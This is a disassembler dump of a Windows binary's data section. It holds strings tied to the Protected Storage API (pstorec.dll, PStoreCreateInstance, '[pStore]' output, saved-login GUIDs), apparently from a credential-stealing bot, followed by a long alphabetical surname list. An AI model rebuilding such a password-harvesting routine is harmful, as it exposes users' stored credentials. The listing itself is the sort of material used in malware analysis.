aErrorGetting_0 db 'error getting ARP cache: %d',0
unk_43B06C db 2Dh ; - ; DATA XREF: sub_40879E:loc_408831o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_43B09C db 2Dh ; - ; DATA XREF: sub_40879E:loc_408863o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_408882+46o
aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: .data:004089A7o
aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: .data:004089BCo
align 4
asc_43B0FC db '%x',0 ; DATA XREF: .data:00408A2Fo
align 10h
aWs db '%ws',0 ; DATA XREF: .data:00408AB0o
aS_23 db '%s',0 ; DATA XREF: .data:00408B35o
align 4
a5e7e8100 db '5e7e8100',0 ; DATA XREF: .data:00408B6Bo
align 2
asc_43B112 db ':',0 ; DATA XREF: .data:00408B8Fo
asc_43B114: ; DATA XREF: .data:00408BA6o
unicode 0, <::>
aPstoreSSS db '[pStore] %s %s:%s',0 ; DATA XREF: .data:00408C1Co
align 4
aE161255a db 'e161255a',0 ; DATA XREF: .data:00408C57o
align 4
aStringindex db 'StringIndex',0 ; DATA XREF: .data:00408C6Do
aString db ':String',0 ; DATA XREF: .data:00408C88o
aString_0 db ':String',0 ; DATA XREF: .data:00408C9Fo
aHttp_0 db 'http:/',0 ; DATA XREF: .data:00408CCAo
align 4
aHttps db 'https:/',0 ; DATA XREF: .data:00408CE1o
asc_43B164: ; DATA XREF: .data:00408D0Ao
unicode 0, <,,,>,0
aPstoreSSS_0 db '[pStore] %s %s:%s',0 ; DATA XREF: .data:00408D97o
align 10h
dword_43B180 dd 6C616572h dd 2 dup(0)
dword_43B18C dd 0 off_43B190 dd offset sub_408F7D ; DATA XREF: sub_409361+4Ar
aConst db 'const',0
align 10h
dd 1, 408FE9h, 7474656Ch, 7265h, 0
dd 2, 409047h, 706D6F63h, 2 dup(0)
dd 3, 409094h, 6E756F63h, 797274h, 0
dd 4, 40913Ah, 736Fh, 2 dup(0)
dd 5, 4091AFh
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_43DC28o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .data:0043DC2Co
align 10h
aAdams db 'Adams',0 ; DATA XREF: .data:0043DC30o
align 4
aAddison db 'Addison',0 ; DATA XREF: .data:0043DC34o
aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0043DC38o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .data:0043DC3Co
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .data:0043DC40o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .data:0043DC44o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .data:0043DC48o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0043DC4Co
align 4
aAlda db 'Alda',0 ; DATA XREF: .data:0043DC50o
align 4
aAleks db 'Aleks',0 ; DATA XREF: .data:0043DC54o
align 4
aAllison db 'Allison',0 ; DATA XREF: .data:0043DC58o
aAlongi db 'Alongi',0 ; DATA XREF: .data:0043DC5Co
align 4
aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0043DC60o
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0043DC64o
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0043DC68o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .data:0043DC6Co
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0043DC70o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .data:0043DC74o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .data:0043DC78o
align 4
aAnand db 'Anand',0 ; DATA XREF: .data:0043DC7Co
align 4
aAndel db 'Andel',0 ; DATA XREF: .data:0043DC80o
align 4
aAndo db 'Ando',0 ; DATA XREF: .data:0043DC84o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0043DC88o
align 10h
aAndron db 'Andron',0 ; DATA XREF: .data:0043DC8Co
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0043DC90o
align 4
aAnsley db 'Ansley',0 ; DATA XREF: .data:0043DC94o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .data:0043DC98o
aAntos db 'Antos',0 ; DATA XREF: .data:0043DC9Co
align 4
aArbia db 'Arbia',0 ; DATA XREF: .data:0043DCA0o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .data:0043DCA4o
aArellano db 'Arellano',0 ; DATA XREF: .data:0043DCA8o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .data:0043DCACo
align 4
aArjas db 'Arjas',0 ; DATA XREF: .data:0043DCB0o
align 4
aArky db 'Arky',0 ; DATA XREF: .data:0043DCB4o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .data:0043DCB8o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .data:0043DCBCo
align 4
aAurelius db 'Aurelius',0 ; DATA XREF: .data:0043DCC0o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0043DCC4o
aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0043DCC8o
align 4
aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0043DCCCo
aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0043DCD0o
aAyling db 'Ayling',0 ; DATA XREF: .data:0043DCD4o
align 10h
aAzima db 'Azima',0 ; DATA XREF: .data:0043DCD8o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0043DCDCo
align 4
aBackus db 'Backus',0 ; DATA XREF: .data:0043DCE0o
align 4
aBady db 'Bady',0 ; DATA XREF: .data:0043DCE4o
align 4
aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0043DCE8o
aBagnold db 'Bagnold',0 ; DATA XREF: .data:0043DCECo
aBailar db 'Bailar',0 ; DATA XREF: .data:0043DCF0o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0043DCF4o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .data:0043DCF8o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: .data:0043DCFCo
align 4
aBallew db 'Ballew',0 ; DATA XREF: .data:0043DD00o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .data:0043DD04o
align 4
aBanta db 'Banta',0 ; DATA XREF: .data:0043DD08o
align 4
aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0043DD0Co
align 10h
aBarajas db 'Barajas',0 ; DATA XREF: .data:0043DD10o
aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0043DD14o
align 4
aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0043DD18o
align 10h
aBarberi db 'Barberi',0 ; DATA XREF: .data:0043DD1Co
aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0043DD20o
align 4
aBarneson db 'Barneson',0 ; DATA XREF: .data:0043DD24o
align 10h
aBarnett db 'Barnett',0 ; DATA XREF: .data:0043DD28o
aBarriola db 'Barriola',0 ; DATA XREF: .data:0043DD2Co
align 4
aBarry db 'Barry',0 ; DATA XREF: .data:0043DD30o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0043DD34o
aBartolome db 'Bartolome',0 ; DATA XREF: .data:0043DD38o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .data:0043DD3Co
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0043DD40o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .data:0043DD44o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0043DD48o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0043DD4Co
align 4
aBayles db 'Bayles',0 ; DATA XREF: .data:0043DD50o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .data:0043DD54o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .data:0043DD58o
align 4
aBeal db 'Beal',0 ; DATA XREF: .data:0043DD5Co
align 4
aBean db 'Bean',0 ; DATA XREF: .data:0043DD60o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .data:0043DD64o
aBeder db 'Beder',0 ; DATA XREF: .data:0043DD68o
align 4
aBedford db 'Bedford',0 ; DATA XREF: .data:0043DD6Co
aBehenna db 'Behenna',0 ; DATA XREF: .data:0043DD70o
aBelanger db 'Belanger',0 ; DATA XREF: .data:0043DD74o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0043DD78o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .data:0043DD7Co
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0043DD80o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .data:0043DD84o
align 10h
aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0043DD88o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .data:0043DD8Co
aBelloc db 'Belloc',0 ; DATA XREF: .data:0043DD90o
align 4
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0043DD94o
align 4
aBergson db 'Bergson',0 ; DATA XREF: .data:0043DD98o
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0043DD9Co
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: .data:0043DDA0o
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: .data:0043DDA4o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .data:0043DDA8o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0043DDACo
align 4
aBetti db 'Betti',0 ; DATA XREF: .data:0043DDB0o
align 10h
aBeynart db 'Beynart',0 ; DATA XREF: .data:0043DDB4o
aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0043DDB8o
align 4
aBickel db 'Bickel',0 ; DATA XREF: .data:0043DDBCo
align 4
aBinion db 'Binion',0 ; DATA XREF: .data:0043DDC0o
align 4
aBir db 'Bir',0 ; DATA XREF: .data:0043DDC4o
aBisema db 'Bisema',0 ; DATA XREF: .data:0043DDC8o
align 10h
aBisho db 'Bisho',0 ; DATA XREF: .data:0043DDCCo
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0043DDD0o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0043DDD4o
align 10h
aBlagg db 'Blagg',0 ; DATA XREF: .data:0043DDD8o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0043DDDCo
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .data:0043DDE0o
align 4
aBliss db 'Bliss',0 ; DATA XREF: .data:0043DDE4o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .data:0043DDE8o
aBloch db 'Bloch',0 ; DATA XREF: .data:0043DDECo
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0043DDF0o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0043DDF4o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .data:0043DDF8o
aBlyth db 'Blyth',0 ; DATA XREF: .data:0043DDFCo
align 4
aBolger db 'Bolger',0 ; DATA XREF: .data:0043DE00o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .data:0043DE04o
align 4
aBollinger db 'Bollinger',0 ; DATA XREF: .data:0043DE08o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .data:0043DE0Co
aBoner db 'Boner',0 ; DATA XREF: .data:0043DE10o
align 4
aBonham db 'Bonham',0 ; DATA XREF: .data:0043DE14o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: .data:0043DE18o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .data:0043DE1Co
align 4
aBook db 'Book',0 ; DATA XREF: .data:0043DE20o
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0043DE24o
align 4
aBoone db 'Boone',0 ; DATA XREF: .data:0043DE28o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0043DE2Co
align 10h
aBorack db 'Borack',0 ; DATA XREF: .data:0043DE30o
align 4
aBorden db 'Borden',0 ; DATA XREF: .data:0043DE34o
align 10h
aBossi db 'Bossi',0 ; DATA XREF: .data:0043DE38o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .data:0043DE3Co
aBotosh db 'Botosh',0 ; DATA XREF: .data:0043DE40o
align 4
aBoudin db 'Boudin',0 ; DATA XREF: .data:0043DE44o
align 10h
aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0043DE48o
aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0043DE4Co
align 4
aBowers db 'Bowers',0 ; DATA XREF: .data:0043DE50o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .data:0043DE54o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0043DE58o
align 10h
aBoyes db 'Boyes',0 ; DATA XREF: .data:0043DE5Co
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .data:0043DE60o
aBoym db 'Boym',0 ; DATA XREF: .data:0043DE64o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .data:0043DE68o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: .data:0043DE6Co
align 4
aBradac db 'Bradac',0 ; DATA XREF: .data:0043DE70o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .data:0043DE74o
aBrecht db 'Brecht',0 ; DATA XREF: .data:0043DE78o
align 4
aBreed db 'Breed',0 ; DATA XREF: .data:0043DE7Co
align 4
aBrenan db 'Brenan',0 ; DATA XREF: .data:0043DE80o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .data:0043DE84o
aBrewer db 'Brewer',0 ; DATA XREF: .data:0043DE88o
align 4
aBrewer_0 db 'Brewer',0 ; DATA XREF: .data:0043DE8Co
align 4
aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0043DE90o
align 4
aBridges db 'Bridges',0 ; DATA XREF: .data:0043DE94o
aBrinton db 'Brinton',0 ; DATA XREF: .data:0043DE98o
aBritz db 'Britz',0 ; DATA XREF: .data:0043DE9Co
align 10h
aBroca db 'Broca',0 ; DATA XREF: .data:0043DEA0o
align 4
aBrook db 'Brook',0 ; DATA XREF: .data:0043DEA4o
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0043DEA8o
aBuchan db 'Buchan',0 ; DATA XREF: .data:0043DEACo
align 10h
aBudding db 'Budding',0 ; DATA XREF: .data:0043DEB0o
aBullard db 'Bullard',0 ; DATA XREF: .data:0043DEB4o
aBunton db 'Bunton',0 ; DATA XREF: .data:0043DEB8o
align 4
aBurden db 'Burden',0 ; DATA XREF: .data:0043DEBCo
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0043DEC0o
align 4
aBurke db 'Burke',0 ; DATA XREF: .data:0043DEC4o
align 10h
aBurridge db 'Burridge',0 ; DATA XREF: .data:0043DEC8o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .data:0043DECCo
aByatt db 'Byatt',0 ; DATA XREF: .data:0043DED0o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .data:0043DED4o
align 4
aByrd db 'Byrd',0 ; DATA XREF: .data:0043DED8o
align 4
aCage db 'Cage',0 ; DATA XREF: .data:0043DEDCo
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .data:0043DEE0o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .data:0043DEE4o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0043DEE8o
align 4
aCanley db 'Canley',0 ; DATA XREF: .data:0043DEECo
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .data:0043DEF0o
aCaperton db 'Caperton',0 ; DATA XREF: .data:0043DEF4o
align 10h
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0043DEF8o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0043DEFCo
align 4
aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0043DF00o
align 4
aCapursi db 'Capursi',0 ; DATA XREF: .data:0043DF04o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0043DF08o
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0043DF0Co
aCarlin db 'Carlin',0 ; DATA XREF: .data:0043DF10o
align 10h
aCarlos db 'Carlos',0 ; DATA XREF: .data:0043DF14o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0043DF18o
aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0043DF1Co
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .data:0043DF20o
align 4
aCarper db 'Carper',0 ; DATA XREF: .data:0043DF24o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .data:0043DF28o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .data:0043DF2Co
align 10h
aCase db 'Case',0 ; DATA XREF: .data:0043DF30o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .data:0043DF34o
align 10h
aCastelda db 'Castelda',0 ; DATA XREF: .data:0043DF38o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0043DF3Co
align 4
aCavell db 'Cavell',0 ; DATA XREF: .data:0043DF40o
align 10h
aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0043DF44o
align 4
aCerioli db 'Cerioli',0 ; DATA XREF: .data:0043DF48o
aChapman db 'Chapman',0 ; DATA XREF: .data:0043DF4Co
aCharles db 'Charles',0 ; DATA XREF: .data:0043DF50o
aCheang db 'Cheang',0 ; DATA XREF: .data:0043DF54o
align 4
aCherry db 'Cherry',0 ; DATA XREF: .data:0043DF58o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0043DF5Co
align 10h
aChiassino db 'Chiassino',0 ; DATA XREF: .data:0043DF60o
align 4
aChien db 'Chien',0 ; DATA XREF: .data:0043DF64o
align 4
aChildress db 'Childress',0 ; DATA XREF: .data:0043DF68o
align 10h
aChilds db 'Childs',0 ; DATA XREF: .data:0043DF6Co
align 4
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0043DF70o
aChinman db 'Chinman',0 ; DATA XREF: .data:0043DF74o
aChristenson db 'Christenson',0 ; DATA XREF: .data:0043DF78o
aChristian db 'Christian',0 ; DATA XREF: .data:0043DF7Co
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .data:0043DF80o
align 10h
aChristie db 'Christie',0 ; DATA XREF: .data:0043DF84o
align 4
aChristopher db 'Christopher',0 ; DATA XREF: .data:0043DF88o
aChu db 'Chu',0 ; DATA XREF: .data:0043DF8Co
aChupasko db 'Chupasko',0 ; DATA XREF: .data:0043DF90o
align 4
aChurch db 'Church',0 ; DATA XREF: .data:0043DF94o
align 10h
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0043DF98o
align 4
aCicero db 'Cicero',0 ; DATA XREF: .data:0043DF9Co
align 4
aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0043DFA0o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: .data:0043DFA4o
aClancy db 'Clancy',0 ; DATA XREF: .data:0043DFA8o
align 10h
aClark db 'Clark',0 ; DATA XREF: .data:0043DFACo
align 4
aClement db 'Clement',0 ; DATA XREF: .data:0043DFB0o
aClifton db 'Clifton',0 ; DATA XREF: .data:0043DFB4o
aClow db 'Clow',0 ; DATA XREF: .data:0043DFB8o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0043DFBCo
aCoito db 'Coito',0 ; DATA XREF: .data:0043DFC0o
align 10h
aColdren db 'Coldren',0 ; DATA XREF: .data:0043DFC4o
aColella db 'Colella',0 ; DATA XREF: .data:0043DFC8o
aCollard db 'Collard',0 ; DATA XREF: .data:0043DFCCo
aCollis db 'Collis',0 ; DATA XREF: .data:0043DFD0o
align 10h
aCompton db 'Compton',0 ; DATA XREF: .data:0043DFD4o
aCompton_0 db 'Compton',0 ; DATA XREF: .data:0043DFD8o
aComstock db 'Comstock',0 ; DATA XREF: .data:0043DFDCo
align 4
aConcino db 'Concino',0 ; DATA XREF: .data:0043DFE0o
aCondodina db 'Condodina',0 ; DATA XREF: .data:0043DFE4o
align 10h
aConnors db 'Connors',0 ; DATA XREF: .data:0043DFE8o
aCorey db 'Corey',0 ; DATA XREF: .data:0043DFECo
align 10h
aCornish db 'Cornish',0 ; DATA XREF: .data:0043DFF0o
aCosmides db 'Cosmides',0 ; DATA XREF: .data:0043DFF4o
align 4
aCounter db 'Counter',0 ; DATA XREF: .data:0043DFF8o
aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0043DFFCo
aCrawford db 'Crawford',0 ; DATA XREF: .data:0043E000o
align 10h
aCrocker db 'Crocker',0 ; DATA XREF: .data:0043E004o
aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0043E008o
aCroxen db 'Croxen',0 ; DATA XREF: .data:0043E00Co
align 4
aCroxton db 'Croxton',0 ; DATA XREF: .data:0043E010o
aCui db 'Cui',0 ; DATA XREF: .data:0043E014o
aCurrier db 'Currier',0 ; DATA XREF: .data:0043E018o
aCutler db 'Cutler',0 ; DATA XREF: .data:0043E01Co
align 4
aCvek db 'Cvek',0 ; DATA XREF: .data:0043E020o
align 4
aCyders db 'Cyders',0 ; DATA XREF: .data:0043E024o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .data:0043E028o
aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0043E02Co
align 4
aDaly db 'Daly',0 ; DATA XREF: .data:0043E030o
align 10h
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0043E034o
aDanieli db 'Danieli',0 ; DATA XREF: .data:0043E038o
aDante db 'Dante',0 ; DATA XREF: .data:0043E03Co
align 4
aDapice db 'Dapice',0 ; DATA XREF: .data:0043E040o
align 10h
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0043E044o
aDas db 'Das',0 ; DATA XREF: .data:0043E048o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0043E04Co
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0043E050o
aDavid db 'David',0 ; DATA XREF: .data:0043E054o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .data:0043E058o
aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0043E05Co
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0043E060o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0043E064o
align 4
aDerousse db 'deRousse',0 ; DATA XREF: .data:0043E068o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .data:0043E06Co
aDees db 'Dees',0 ; DATA XREF: .data:0043E070o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0043E074o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: .data:0043E078o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0043E07Co
align 4
aDelger db 'Delger',0 ; DATA XREF: .data:0043E080o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0043E084o
align 10h
aDeming db 'Deming',0 ; DATA XREF: .data:0043E088o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .data:0043E08Co
align 4
aDemusz db 'Demusz',0 ; DATA XREF: .data:0043E090o
align 4
aDenault db 'Denault',0 ; DATA XREF: .data:0043E094o
aDenham db 'Denham',0 ; DATA XREF: .data:0043E098o
align 4
aDenison db 'Denison',0 ; DATA XREF: .data:0043E09Co
aDesombre db 'Desombre',0 ; DATA XREF: .data:0043E0A0o
align 10h
aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0043E0A4o
aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0043E0A8o
align 10h
aDicks db 'Dicks',0 ; DATA XREF: .data:0043E0ACo
align 4
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0043E0B0o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .data:0043E0B4o
aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0043E0B8o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .data:0043E0BCo
align 4
aDionysius db 'Dionysius',0 ; DATA XREF: .data:0043E0C0o
align 10h
aDirksen db 'Dirksen',0 ; DATA XREF: .data:0043E0C4o
aDockery db 'Dockery',0 ; DATA XREF: .data:0043E0C8o
aDoherty db 'Doherty',0 ; DATA XREF: .data:0043E0CCo
aDonahue db 'Donahue',0 ; DATA XREF: .data:0043E0D0o
aDonner db 'Donner',0 ; DATA XREF: .data:0043E0D4o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .data:0043E0D8o
align 10h
aDore db 'Dore',0 ; DATA XREF: .data:0043E0DCo
align 4
aDorf db 'Dorf',0 ; DATA XREF: .data:0043E0E0o
align 10h
aDosi db 'Dosi',0 ; DATA XREF: .data:0043E0E4o
align 4
aDoty db 'Doty',0 ; DATA XREF: .data:0043E0E8o
align 10h
aDoug db 'Doug',0 ; DATA XREF: .data:0043E0ECo
align 4
aDowsland db 'Dowsland',0 ; DATA XREF: .data:0043E0F0o
align 4
aDrinker db 'Drinker',0 ; DATA XREF: .data:0043E0F4o
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0043E0F8o
aDuffin db 'Duffin',0 ; DATA XREF: .data:0043E0FCo
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .data:0043E100o
aDussault db 'Dussault',0 ; DATA XREF: .data:0043E104o
align 10h
aDwyer db 'Dwyer',0 ; DATA XREF: .data:0043E108o
align 4
aEardley db 'Eardley',0 ; DATA XREF: .data:0043E10Co
aEbeling db 'Ebeling',0 ; DATA XREF: .data:0043E110o
aEckel db 'Eckel',0 ; DATA XREF: .data:0043E114o
align 10h
aEdley db 'Edley',0 ; DATA XREF: .data:0043E118o
align 4
aEdner db 'Edner',0 ; DATA XREF: .data:0043E11Co
align 10h
aEdward db 'Edward',0 ; DATA XREF: .data:0043E120o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0043E124o
aEliasson db 'Eliasson',0 ; DATA XREF: .data:0043E128o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0043E12Co
align 4
aElmerick db 'Elmerick',0
align 4
aElvis db 'Elvis',0
align 10h
aEncinas db 'Encinas',0
aEnyeart db 'Enyeart',0
aEppling db 'Eppling',0
aErbach db 'Erbach',0
align 10h
aErdman db 'Erdman',0
align 4
aErdos db 'Erdos',0
align 10h
aErez db 'Erez',0
align 4
aEspinoza db 'Espinoza',0
align 4
aEstes db 'Estes',0
align 4
aEtter db 'Etter',0
align 4
aEuripides db 'Euripides',0
align 10h
aEverett db 'Everett',0
aFabbris db 'Fabbris',0
aFagan db 'Fagan',0
align 4
aFaioes db 'Faioes',0
align 10h
aFalcoAcosta db 'Falco-Acosta',0
align 10h
aFalorsi db 'Falorsi',0
aFaris db 'Faris',0
align 10h
aFarone db 'Farone',0
align 4
aFarren db 'Farren',0
align 10h
aFasso db 'Fasso',27h,0
align 4
aFates db 'Fates',0
align 10h
aFeigenbaum db 'Feigenbaum',0
align 4
aFejzo db 'Fejzo',0
align 4
aFeldman db 'Feldman',0
aFernald db 'Fernald',0
aFernandes db 'Fernandes',0
align 10h
aFerrante db 'Ferrante',0
align 4
aFerriell db 'Ferriell',0
align 4
aFeuer db 'Feuer',0
align 10h
aFido db 'Fido',0
align 4
aField db 'Field',0
align 10h
aFink db 'Fink',0
align 4
aFinkelstein db 'Finkelstein',0
aFinnegan db 'Finnegan',0
align 10h
aFiorina db 'Fiorina',0
aFisk db 'Fisk',0
align 10h
aFitzmaurice db 'Fitzmaurice',0
aFlier db 'Flier',0
align 4
aFlores db 'Flores',0
align 4
aFolks db 'Folks',0
align 4
aForester db 'Forester',0
align 10h
aFortes db 'Fortes',0
align 4
aFortier db 'Fortier',0
aFossey db 'Fossey',0
align 4
aFossi db 'Fossi',0
align 10h
aFrancisco db 'Francisco',0
align 4
aFranklinKenea db 'Franklin-Kenea',0
align 4
aFranz db 'Franz',0
align 4
aFrazierDavis db 'Frazier-Davis',0
align 4
aFreid db 'Freid',0
align 4
aFreundlich db 'Freundlich',0
align 4
aFried db 'Fried',0
align 10h
aFriedland db 'Friedland',0
align 4
aFrisken db 'Frisken',0
aFrowiss db 'Frowiss',0
aFryberger db 'Fryberger',0
align 4
aFrye db 'Frye',0
align 10h
aFujiiAbe db 'Fujii-Abe',0
align 4
aFuller db 'Fuller',0
align 4
aFurth db 'Furth',0
align 4
aFusaro db 'Fusaro',0
align 4
aGabrielli db 'Gabrielli',0
align 10h
aGaggiotti db 'Gaggiotti',0
align 4
aGaleotti db 'Galeotti',0
align 4
aGalwey db 'Galwey',0
align 10h
aGambini db 'Gambini',0
aGarfield db 'Garfield',0
align 4
aGarman db 'Garman',0
align 4
aGaronna db 'Garonna',0
aGeller db 'Geller',0
align 4
aGemberling db 'Gemberling',0
align 4
aGeorgi db 'Georgi',0
align 10h
aGerrett db 'Gerrett',0
aGhorai db 'Ghorai',0
align 10h
aGibbens db 'Gibbens',0
aGibson db 'Gibson',0
align 10h
aGilbert db 'Gilbert',0
aGili db 'Gili',0
align 10h
aGill db 'Gill',0
align 4
aGillispie db 'Gillispie',0
align 4
aGist db 'Gist',0
align 4
aGleason db 'Gleason',0
aGlegg db 'Glegg',0
align 4
aGlendon db 'Glendon',0
aGoldfarb db 'Goldfarb',0
align 10h
aGoncalves db 'Goncalves',0
align 4
aGood db 'Good',0
align 4
